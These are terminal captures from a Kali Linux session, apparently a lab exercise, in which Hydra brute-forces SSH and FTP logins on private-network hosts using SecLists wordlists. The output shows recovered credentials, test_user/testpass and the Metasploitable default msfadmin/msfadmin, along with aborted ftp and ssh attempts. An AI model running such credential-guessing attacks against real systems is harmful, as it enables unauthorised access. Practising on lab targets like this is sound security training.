

```
kali@kali: ~  
File Actions Edit View Help  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)  
[ERROR] all children were disabled due too many connection errors  
0 of 1 target completed, 0 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-24 20:39:26  
  
(kali@kali)-[~]  
$ ftp 192.168.178.120  
^C  
  
(kali@kali)-[~]  
$ ftp @192.168.178.120  
^C  
  
(kali@kali)-[~]  
$ ftp user@192.168.178.120  
^C  
  
(kali@kali)-[~]  
$ ssh test_user@192.168.178.120  
^C  
  
(kali@kali)-[~]  
$ hydra -l msfadmin -p msfadmin 192.168.178.100 -t 4 ftp -V  
  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-24 20:55:44  
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task  
[DATA] attacking ftp://192.168.178.100:21/  
[ATTEMPT] target 192.168.178.100 - login "msfadmin" - pass "msfadmin" - 1 of 1 [child 0] (0/0)  
[21][ftp] host: 192.168.178.100 login: msfadmin password: msfadmin  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-24 20:55:45  
  
(kali@kali)-[~]  
$
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kali@kali: ~  
File Actions Edit View Help  
  
(kali@kali)-[~]  
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.178.120 -t 4 ssh -V  
  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-24 19:45:58  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task  
[DATA] attacking ssh://192.168.178.120:22/  
[ATTEMPT] target 192.168.178.120 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "test_user" - pass "testpass" - 8 of 8295464295456 [child 2] (0/0)  
[22][ssh] host: 192.168.178.120 login: test_user password: testpass  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "password" - 1000003 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "123456789" - 1000006 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "12345" - 1000007 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "1234" - 1000008 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "testpass" - 1000009 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "111111" - 1000010 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "1234567" - 1000011 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "dragon" - 1000012 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "123123" - 1000013 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "baseball" - 1000014 of 8295464295456 [child 2] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "abc123" - 1000015 of 8295464295456 [child 3] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "football" - 1000016 of 8295464295456 [child 0] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "monkey" - 1000017 of 8295464295456 [child 1] (0/0)  
[ATTEMPT] target 192.168.178.120 - login "info" - pass "letmein" - 1000018 of 8295464295456 [child 2] (0/0)  
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
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